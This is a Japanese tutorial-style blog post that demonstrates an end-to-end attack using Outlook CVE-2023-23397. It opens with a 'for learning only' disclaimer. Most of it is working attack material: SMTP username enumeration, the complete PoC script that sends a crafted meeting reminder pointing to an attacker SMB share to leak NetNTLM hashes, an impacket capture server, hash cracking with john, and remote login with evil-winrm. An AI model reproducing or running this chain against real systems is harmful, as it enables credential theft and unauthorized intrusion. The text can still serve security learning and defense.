Microsoft Outlookの特権権限昇格脆弱性_CVE-2023-23397_検証

Microsoft Outlookの特権権限昇格脆弱性_CVE-2023-23397_検証

Outlook CVE-2023-23397 権限昇格 Microsoft 

:::note alert
投稿記事は、学習のため投稿しております。
本投稿内容を基に、商用環境への悪用は行わないでください。
:::

## 概要
　2023年3月14日に公開された脆弱性であるMicrosoft Outlookの特権権限昇格の脆弱性（CVE-2023-23397）について、PoCコードを基に攻撃例を紹介する記事となります。


## 偵察（Reconnaissance）

#### NMAPで使用されているサービスの調査
```
nmap -sV [標的のIPアドレス]
```
#### ポートスキャン結果
```
Starting Nmap 7.93 ( https://nmap.org ) at xxxxx BST
Nmap scan report for [標的のIPアドレス]
Host is up (0.17s latency).
Not shown: 971 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
25/tcp   open  smtp              Microsoft Exchange smtpd
53/tcp   open  domain            Simple DNS Plus
80/tcp   open  http              Microsoft IIS httpd 10.0
81/tcp   open  http              Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: onlook.xxx., Site: Default-First-Site-Name)
443/tcp  open  ssl/https
444/tcp  open  snpp?
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
465/tcp  open  smtp              Microsoft Exchange smtpd
587/tcp  open  smtp              Microsoft Exchange smtpd
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
808/tcp  open  ccproxy-http?
1801/tcp open  msmq?
2103/tcp open  msrpc             Microsoft Windows RPC
2105/tcp open  msrpc             Microsoft Windows RPC
2107/tcp open  msrpc             Microsoft Windows RPC
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: onlook.xxx., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
6001/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
6123/tcp open  msrpc             Microsoft Windows RPC
6129/tcp open  msrpc             Microsoft Windows RPC
6666/tcp open  msrpc             Microsoft Windows RPC
6789/tcp open  msrpc             Microsoft Windows RPC
```
Web系のサービスポートにアクセスする

#### ブラウザで443にアクセス
```
https://localhost
```

#### OUTLOOKのログイン画面にアクセスできる
![01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3510253/a2a73c32-1ef1-f1cb-ae71-39f3c01241a4.png)

#### telnetコマンドで25番ポートへアクセス
```
telnet [標的のIPアドレス] 25
```
#### 接続できたことを確認する 
```
Trying [標的のIPアドレス]...
Connected to [標的のIPアドレス].
Escape character is '^]'.
220 LOOKOUT.[標的のドメイン名] Microsoft ESMTP MAIL Service ready at Sat, xxx
```
ドメイン名の部分が[ユーザ名]@[標的のドメイン名]となるためメモする

### SMTPコマンド

##### クライアントをメールサーバに認識させる
```
HELO [クライアントドメイン名]
```

##### 送信元をメールサーバに認識させる
```
MAIL FROM: [送信元メールアドレス]
```

##### 送信先をメールサーバに認識させる
```
RCPT TO: [送信先メールアドレス]
```
##### メールの送信を終了
```
QUIT
```

## 初期アクセス（Initial Access）

### クレデンシャルのリストをダウンロード
#### クレデンシャルリストのgithubのURL
```
https://github.com/danielmiessler/SecLists
```

#### gitコマンドでダウンロードする
```
git clone https://github.com/danielmiessler/SecLists.git
```

#### 今回使用するファイル
```
SecLists/Usernames/xato-net-10-million-usernames.txt
```

### SMTPのユーザを特定するためのリスト型攻撃
#### SMTPのリスト型攻撃を行うためsmtp-user-enumを使用する
※入っていない場合は以下からダウンロードする
```
https://github.com/cytopia/smtp-user-enum
```

#### smtp-user-enumの実行
```
smtp-user-enum -M RCPT -D [ドメイン名] -t [標的のIPアドレス] -U SecLists/Usernames/xato-net-10-million-usernames.txt 
```

#### 実行後の結果
```
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... Usernames/xato-net-10-million-usernames.txt
Target count ............. 1
Username count ........... 8295455
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ [標的のドメイン名]

######## Scan started at Sat Sep xxx #########
[標的のIPアドレス]: [ユーザ名]@[標的のドメイン名] exists
[標的のIPアドレス]: [ユーザ名]@[標的のドメイン名] exists
```
## 実行（Execution）
### 攻撃コードのダウンロード
#### CVE-2023-23397のPoCコードURL
```
https://github.com/BronzeBee/cve-2023-23397
```

<details><summary>CVE-2023-23397のPoCコード</summary>

```ruby:CVE-2023-23397.py
#!/usr/env/bin python3
#
# CVE-2023-23397 exploit
# Author: @bronzebee
# 18.03.2023
#
# Original research: https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/
# TNEF-related constants and classes partially taken from https://github.com/koodaamo/tnefparse
#
import argparse
import email.utils
import logging
import os
import smtplib
import struct
import sys
import traceback
import uuid
from datetime import datetime, timedelta
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

try:
    # Provide optional dkim signing capability
    import dkim
except ImportError:
    dkim = None

MAPI_IMPORTANCE = 0x0017
MAPI_TNEF_CORRELATION_KEY = 0x007F
MAPI_BODY_HTML = 0x1013
MAPI_SEARCH_KEY = 0x300B
MAPI_MESSAGE_LOCALE_ID = 0x3FF1

TNEF_SIGNATURE = 0x223E9F78
LVL_MESSAGE = 0x01

ATTSUBJECT = 0x8004
ATTMESSAGECLASS = 0x8008
ATTMESSAGEID = 0x8009
ATTMAPIPROPS = 0x9003
ATTTNEFVERSION = 0x9006
ATTOEMCODEPAGE = 0x9007

SZMAPI_UNSPECIFIED = 0x0000
SZMAPI_SHORT = 0x0002
SZMAPI_INT = 0x0003
SZMAPI_BOOLEAN = 0x000B
SZMAPI_OBJECT = 0x000D
SZMAPI_STRING = 0x001E
SZMAPI_UNICODE_STRING = 0x001F
SZMAPI_SYSTIME = 0x0040
SZMAPI_BINARY = 0x0102

MULTI_VALUE_FLAG = 0x1000

PSETID_Appointment = '00062002-0000-0000-C000-000000000046'
PSETID_Common = '00062008-0000-0000-C000-000000000046'
PSETID_Meeting = '6ED8DA90-450B-101B-98DA-00AA003F1305'


class BulletFormatter(logging.Formatter):
    """
    Impacket-style logging formatter.
    Prefixing logged messages through the custom attribute 'bullet'.
    """

    def __init__(self):
        logging.Formatter.__init__(self, '%(bullet)s %(message)s', None)

    def format(self, record):
        if record.levelno == logging.INFO:
            record.bullet = '[*]'
        elif record.levelno == logging.DEBUG:
            record.bullet = '[+]'
        elif record.levelno == logging.WARNING:
            record.bullet = '[!]'
        else:
            record.bullet = '[-]'

        return logging.Formatter.format(self, record)


def init_logger(debug=False):
    handler = logging.StreamHandler(sys.stdout)
    handler.setFormatter(BulletFormatter())
    logging.getLogger().addHandler(handler)
    logging.getLogger().setLevel(
        logging.DEBUG if debug else logging.INFO)


def make_pack(structure):
    call = struct.Struct(structure).pack

    def pack(val):
        return call(val)

    return pack


def guid(data):
    return uuid.UUID(data).bytes_le


uint8 = make_pack('<B')
uint16 = make_pack('<H')
uint32 = make_pack('<I')
uint64 = make_pack('<Q')
int64 = make_pack('<q')

EPOCH_AS_FILETIME = 116444736000000000  # January 1, 1970 as MS file time
HUNDREDS_OF_NANOSECONDS = 10000000


def systime(dt):
    return uint64(int((dt.timestamp() * HUNDREDS_OF_NANOSECONDS) + EPOCH_AS_FILETIME))


def checksum(data):
    return uint16(sum(bytearray(data)) & 0xFFFF)


def pack_datetime(dt):
    return struct.pack('<HHHHHH', *dt.utctimetuple()[:6])


class TNEFObject:
    PTYPE_CLASS = 0x1
    PTYPE_TIME = 0x3
    PTYPE_STRING = 0x7
    PTYPE_LONG = 0x5

    def __init__(self, level, name, type, data):
        self.level = level
        self.name = name
        self.type = type
        self.data = data

    @property
    def blob(self):
        blob = uint8(self.level)
        blob += uint16(self.name)
        blob += uint16(self.type)
        blob += uint32(len(self.data))
        blob += self.data
        blob += checksum(self.data)
        return blob


def enc_str(data, cp='utf-16le'):
    return (data + '\x00').encode(cp)


def encode_mapi(attrs):
    blob = uint32(len(attrs))
    for attr in attrs:
        blob += attr.blob
    return blob


class MAPIAttribute:

    def __init__(self, type, name, value, guid_id=None, guid_name=None, prop_id=None):
        self.type = type
        self.name = name
        self.value = value
        self.guid = guid_id
        self.guid_name = guid_name
        self.prop_id = prop_id

    def encode_value(self):
        blob = b''
        attr_type = self.type
        attr_values = [self.value]
        if self.type & MULTI_VALUE_FLAG != 0:
            attr_type ^= MULTI_VALUE_FLAG
            blob += uint32(len(self.value))
            attr_values = self.value

        is_mv = len(attr_values) > 1
        for value in attr_values:
            if attr_type in (SZMAPI_STRING, SZMAPI_UNICODE_STRING, SZMAPI_OBJECT, SZMAPI_BINARY, SZMAPI_UNSPECIFIED):
                vals = [value]
                if not is_mv:
                    if isinstance(value, list):
                        vals = value
                    blob += uint32(len(vals))

                for val in vals:
                    size = len(val)
                    blob += uint32(size)
                    blob += val
                    r = size % 4
                    if r != 0:
                        blob += b'\x00' * (4 - r)  # Padding
            else:
                blob += value
        return blob

    @property
    def blob(self):
        blob = b''
        blob += uint16(self.type)
        blob += uint16(self.name)
        if self.name >= 0x8000:
            blob += guid(self.guid)
            if self.prop_id is not None:
                blob += uint32(0)  # IDTypeNumber
                blob += uint32(self.prop_id)
            else:
                blob += uint32(1)  # IDTypeString
                guid_data = (self.guid_name + '\x00').encode('utf-16le')
                blob += uint32(len(guid_data))
                blob += guid_data

                # Padding
                r = len(blob) % 4
                if r != 0:
                    blob += b'\x00' * (4 - r)

        blob += self.encode_value()
        return blob


def generate_object_id():
    # https://learn.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxocal/1d3aac05-a7b9-45cc-a213-47f0a0a2c5c1
    size = 16
    blob = b'\x04\x00\x00\x00\x82\x00\xE0\x00\x74\xC5\xB7\x10\x1A\x82\xE0\x08'
    blob += b'\x00' * 4
    blob += systime(datetime.utcnow())
    blob += b'\x00' * 8
    blob += uint32(size)
    blob += os.urandom(size)
    return blob


def create_tnef_body(correlation_key, file_path, receivers, subject,
                     body_html=None, room='Meeting Room #1', codepage=1252):
    cp = 'cp%d' % codepage
    msg_id = os.urandom(16)

    msg = uint32(0x223E9F78)  # Signature
    msg += uint16(16527)  # Legacy key
    msg += TNEFObject(LVL_MESSAGE, ATTTNEFVERSION, 8, b'\x00\x00\x01\x00').blob  # TNEF version
    msg += TNEFObject(LVL_MESSAGE, ATTOEMCODEPAGE, 6, struct.pack('<Q', codepage)).blob  # Codepage
    msg += TNEFObject(LVL_MESSAGE, ATTMESSAGEID, 1, msg_id.hex().encode()).blob  # Message ID
    msg += TNEFObject(LVL_MESSAGE, 0X800D, 4, uint16(2)).blob  # Normal priority

    # I could not get IPM.Schedule.Meeting.Request to respect PidLidReminderOverride, so the ugly IPM.TaskRequest
    # crutch is used instead. This way neither the email nor the meeting can be opened in Outlook (so `body` parameter
    # is basically useless), but appears as normal message in OWA.
    msg += TNEFObject(LVL_MESSAGE, ATTMESSAGECLASS, TNEFObject.PTYPE_STRING,
                      enc_str('IPM.TaskRequest', cp)).blob
    msg += TNEFObject(LVL_MESSAGE, ATTSUBJECT, 1, enc_str(subject, cp)).blob  # Subject

    mapi_attrs = [
        MAPIAttribute(SZMAPI_BINARY, MAPI_TNEF_CORRELATION_KEY, correlation_key.encode() + b'\x00'),  # TNEF Correlator
        MAPIAttribute(SZMAPI_INT, MAPI_MESSAGE_LOCALE_ID, uint32(1031)),  # en_US
        MAPIAttribute(SZMAPI_BINARY, MAPI_SEARCH_KEY, msg_id),
        MAPIAttribute(SZMAPI_INT, MAPI_IMPORTANCE, uint32(1)),  # Normal importance

        MAPIAttribute(SZMAPI_UNICODE_STRING, 0x8000, enc_str(room),
                      PSETID_Appointment, None, 0x8208),  # PidLidLocation
        MAPIAttribute(SZMAPI_SYSTIME, 0x8000, systime(datetime.utcnow() - timedelta(hours=1)),
                      PSETID_Appointment, None, 0x820D),  # PidLidAppointmentStartWhole
        MAPIAttribute(SZMAPI_SYSTIME, 0x8000, systime(datetime.utcnow() + timedelta(days=1)),
                      PSETID_Appointment, None, 0x820E),  # PidLidAppointmentEndWhole
        MAPIAttribute(SZMAPI_INT, 0x8000, uint32(0x00000001),
                      PSETID_Meeting, None, 0x0026),  # PidLidMeetingType = mtgRequest
        MAPIAttribute(SZMAPI_INT, 0x8000, uint32(0x00000001),
                      PSETID_Appointment, None, 0x8217),  # PidLidAppointmentStateFlags = afsMeeting
        MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
                      PSETID_Appointment, None, 0x8215),  # Subtype = all day
        MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
                      PSETID_Common, None, 0x8503),  # PidLidReminderSet
        MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
                      PSETID_Common, None, 0x851C),  # PidLidReminderOverride
        MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
                      PSETID_Common, None, 0x851E),  # PidLidReminderPlaySound
        MAPIAttribute(SZMAPI_UNICODE_STRING, 0x8000, enc_str(file_path),
                      PSETID_Common, None, 0x851F),  # PidLidReminderFileParameter
        MAPIAttribute(SZMAPI_UNICODE_STRING, 0x8000, enc_str(';'.join(receivers)),
                      PSETID_Meeting, None, 0x0006),  # PidLidRequiredAttendees
        MAPIAttribute(SZMAPI_BINARY, 0x8000, generate_object_id(),
                      PSETID_Meeting, None, 0x0003),  # PidLidGlobalObjectID
    ]

    if body_html is not None:
        mapi_attrs.append(MAPIAttribute(SZMAPI_BINARY, MAPI_BODY_HTML, body_html.encode(cp)))

    msg += TNEFObject(LVL_MESSAGE, ATTMAPIPROPS, 6, encode_mapi(mapi_attrs)).blob
    return msg


def send_email(host, port, file_path, from_addr, to_addrs, subject, room, body_text, body_html,
               credentials, starttls, mailer_hostname, lang='en-US', codepage=1252, dkim_options=None):
    if body_text is None and body_html is None:
        raise Exception('Text or HTML data is required!')

    correlation_key = '<%s@%s>' % (os.urandom(16).hex(), from_addr.split('@')[1])

    msg = MIMEMultipart()
    msg['From'] = from_addr
    msg['To'] = ', '.join(to_addrs)
    msg['Subject'] = subject
    msg['Date'] = email.utils.formatdate()
    msg['Thread-Topic'] = subject
    msg['X-Mailer'] = 'Microsoft Outlook 16.0'
    msg['Accept-Language'] = lang
    msg['Content-Language'] = lang
    msg['X-MS-TNEF-Correlator'] = correlation_key
    msg['Message-ID'] = correlation_key

    if body_text is not None:
        msg.attach(MIMEText(body_text, 'plain', 'utf-8'))

    payload = create_tnef_body(correlation_key, file_path, to_addrs, subject, body_html, room, codepage)
    part = MIMEBase('application', 'ms-tnef', filename='winmail.dat')
    part['Content-Disposition'] = 'attachment; filename="winmail.dat"'
    part.set_payload(payload)
    encoders.encode_base64(part)
    msg.attach(part)

    if dkim_options is not None:
        sig = dkim.sign(
            message=msg.as_string().encode(),
            include_headers=[b'To', b'From', b'Subject'],
            canonicalize=(b'relaxed', b'relaxed'),
            **dkim_options
        )
        signature = sig.lstrip(b'DKIM-Signature: ').decode()
        logging.info('DKIM signature generated')
        logging.debug(signature)
        msg['DKIM-Signature'] = signature

    logging.info('Connecting to %s:%d' % (host, port))
    if port == 465:
        server = smtplib.SMTP_SSL(host, port)
    else:
        server = smtplib.SMTP(host, port)
        if starttls:
            server.ehlo(mailer_hostname)
            server.starttls()
            logging.debug('STARTTLS OK')

    server.ehlo(mailer_hostname)

    if credentials is not None:
        if not server.esmtp_features:
            logging.error('esmtp_features is empty, skipping login')
        else:
            logging.info('Attempting login as %s' % credentials[0])
            server.login(*credentials)
            logging.info('Logged in')

    logging.info('Sending message to %s' % (to_addrs[0] if len(to_addrs) == 1 else ('%d addresses' % len(to_addrs))))
    result = server.sendmail(from_addr, to_addrs, msg.as_string())
    if not result:
        logging.info('Message sent to all addresses successfully')
        return
    logging.error('Delivery failed for the following recipients:')
    for k, v in result.items():
        logging.error('%s: %s' % (k, str(v)))
    return result


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2023-23397 exploit')
    parser.add_argument('-s', '--server', default='localhost:25',
                        help='smtp mail relay (host[:port]), default: localhost:25')

    parser.add_argument('-f', '--from', dest='sender', required=True,
                        help='sender email address')
    parser.add_argument('-t', '--to', required=True,
                        help='recipient email address(es), path to a file or comma-separated values')
    parser.add_argument('-S', '--subject', default='Test Meeting', help='message subject')
    parser.add_argument('-r', '--room', help='meeting location (room name), default: Meeting Room #1',
                        default='Meeting Room #1')
    parser.add_argument('-b', '--body', default='Test meeting, please ignore this message.',
                        help='plaintext message body (or path to file)')
    parser.add_argument('--html', help='HTML message body (or path to file)')

    parser.add_argument('-p', '--path', required=True,
                        help='remote file path for NetNTLM exfiltration, e.g \\\\10.10.10.10\\share\\1.wav')
    parser.add_argument('-a', '--auth', help='username:password for AUTH command if authenticated send is required')

    parser.add_argument('--codepage', type=int, default=1252, help='windows codepage (e.g. 1252=ASCII, 65001=Unicode)'
                                                                   ' to encode HTML body (if any), default: 1252')

    parser.add_argument('--ehlo', '--helo', default='localhost.localdomain',
                        help='EHLO command argument (sender external hostname)')
    parser.add_argument('-l', '--lang', help='Content-Language header value, default: en-US', default='en-US')
    parser.add_argument('--starttls', action='store_true', help='Use STARTTLS when communicating over plaintext SMTP')
    parser.add_argument('--max-rcpts', type=int, default=0, help='Maximum number of recipients per send attempt')

    if dkim is not None:
        group = parser.add_argument_group('DKIM message signing')
        group.add_argument('--dkim-selector', help='DKIM selector')
        group.add_argument('--dkim-key', help='DKIM private key file path')
        group.add_argument('--dkim-domain', help='DKIM domain name, default: sender address part after @')

    parser.add_argument('-v', action='store_true', help='Enable debug output')
    args = parser.parse_args()

    init_logger(args.v)

    logging.info('CVE-2023-23397 exploit')
    logging.info('Author: @bronzebee')
    print()

    server = args.server
    port = 25
    if ':' in server:
        try:
            parts = server.split(':')
            port = int(parts[1])
            server = parts[0]
        except ValueError:
            logging.error('Invalid port value: %s' % port)
            return

    auth = args.auth
    if auth is not None:
        parts = auth.split(':')
        auth = (parts[0], ':'.join(parts[1:]))

    send_to = args.to
    if os.path.isfile(send_to):
        try:
            with open(send_to, 'rt') as f:
                send_to = [line.strip() for line in f if line]
                logging.info('Loaded %d addresses from file' % len(send_to))
        except OSError as e:
            logging.error('Unable to read recipients from file')
            logging.error(e)
            return
    elif ',' in send_to:
        send_to = [addr.strip() for addr in send_to.split(',') if addr]
    else:
        send_to = [send_to]

    body = [args.body, args.html]
    for i in range(len(body)):
        entry = body[i]
        if not entry or not os.path.isfile(entry):
            continue
        try:
            with open(entry, 'rt') as f:
                body[i] = f.read()
                logging.info('Loaded message body (%s) from %s' % (('txt', 'html')[i], entry))
        except OSError as e:
            logging.error('Unable to read recipients from file')
            logging.error(e)
            return

    dkim_options = None
    if dkim is not None and args.dkim_key is not None and args.dkim_selector is not None:
        dkim_options = {'selector': args.dkim_selector.encode(), 'domain': args.dkim_domain}
        try:
            with open(args.dkim_key, 'rb') as f:
                dkim_options['privkey'] = f.read()
                logging.debug('Loaded DKIM private key, %d bytes' % len(dkim_options['privkey']))
        except OSError as e:
            logging.error('Unable to load DKIM key')
            logging.error(e)
            return

        if args.dkim_domain is None:
            dkim_options['domain'] = args.sender.split('@')[1]

        dkim_options['domain'] = dkim_options['domain'].encode()

    max_rctps = args.max_rcpts if args.max_rcpts else len(send_to)
    sent = 0
    for i in range(0, len(send_to), max_rctps):
        rcpts = send_to[i:i + max_rctps]
        try:
            result = send_email(server, port, args.path, args.sender, rcpts, args.subject, args.room,
                                body[0], body[1], auth, args.starttls, args.ehlo, args.lang, args.codepage,
                                dkim_options)
            sent += len(rcpts) if not result else len(result)
        except Exception as e:
            logging.error(e)
            if args.v:
                traceback.print_exc()

    logging.info('Total messages sent: %d/%d' % (sent, len(send_to)))


if __name__ == '__main__':
    main()
```
</details>

#### githubからPoCコードをダウンロード

```
git clone https://github.com/BronzeBee/cve-2023-23397.git
```

#### cdコマンドでPoCのディレクトリへ移動
```
cd cve-2023-23397
```

### impacketを用いたSMBserverの起動
#### impacketのダウンロード
※別のターミナルを立ち上げる
```
git clone https://github.com/fortra/impacket.git
```

#### cd コマンドでディレクトリ移動
```
cd impacket/impacket
```

#### smbserverの起動
```
sudo python smbserver.py -smb2support share .
又は
sudo smbserver.py share .
```

### cve-2023-23397のPoCコード実行

#### コマンド実行
```
python cve-2023-23397.py -s [標的のIPアドレス] -f [test@test.xxx] -t [標的のメールアドレス] -p '\\[端末のIPアドレス]\share'
```

#### 実行結果
```
[*] CVE-2023-23397 exploit
[*] Author: @bronzebee

[*] Connecting to [標的のIPアドレス]:25
[*] Sending message to [標的のメールアドレス]
[*] Message sent to all addresses successfully
[*] Total messages sent: 1/1
```

#### smbserver側
```
[*] Incoming connection ([標的のIPアドレス],45932)
[*] AUTHENTICATE_MESSAGE (WORKGROUP\XXX,XXX)
[*] User [host] authenticated successfully
[*] 
[標的のユーザ]::WORKGROUP:aaaaaaaaaaaaaaaa:xxxx:xxxx
[*] Connecting Share(1:share)
```

#### johnで入手したハッシュ値を辞書攻撃
```
john --wordlist=/usr/share/wordlists/passwords/rockyou.txt hash
```

### 標的サーバへ侵入
#### evil-winrmで接続
```
evil-winrm -i [標的のIPアドレス] -u [入手したユーザ名] -p '入手したパスワード'
```

## 参考文献
* Microsoft Outlook Elevation of Privilege Vulnerability

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397

* 脅威に関する情報: Microsoft Outlookにおける特権昇格の脆弱性(CVE-2023-23397)

https://unit42.paloaltonetworks.jp/threat-brief-cve-2023-23397/

* CVE-2023-23397のPoCコード

https://github.com/BronzeBee/cve-2023-23397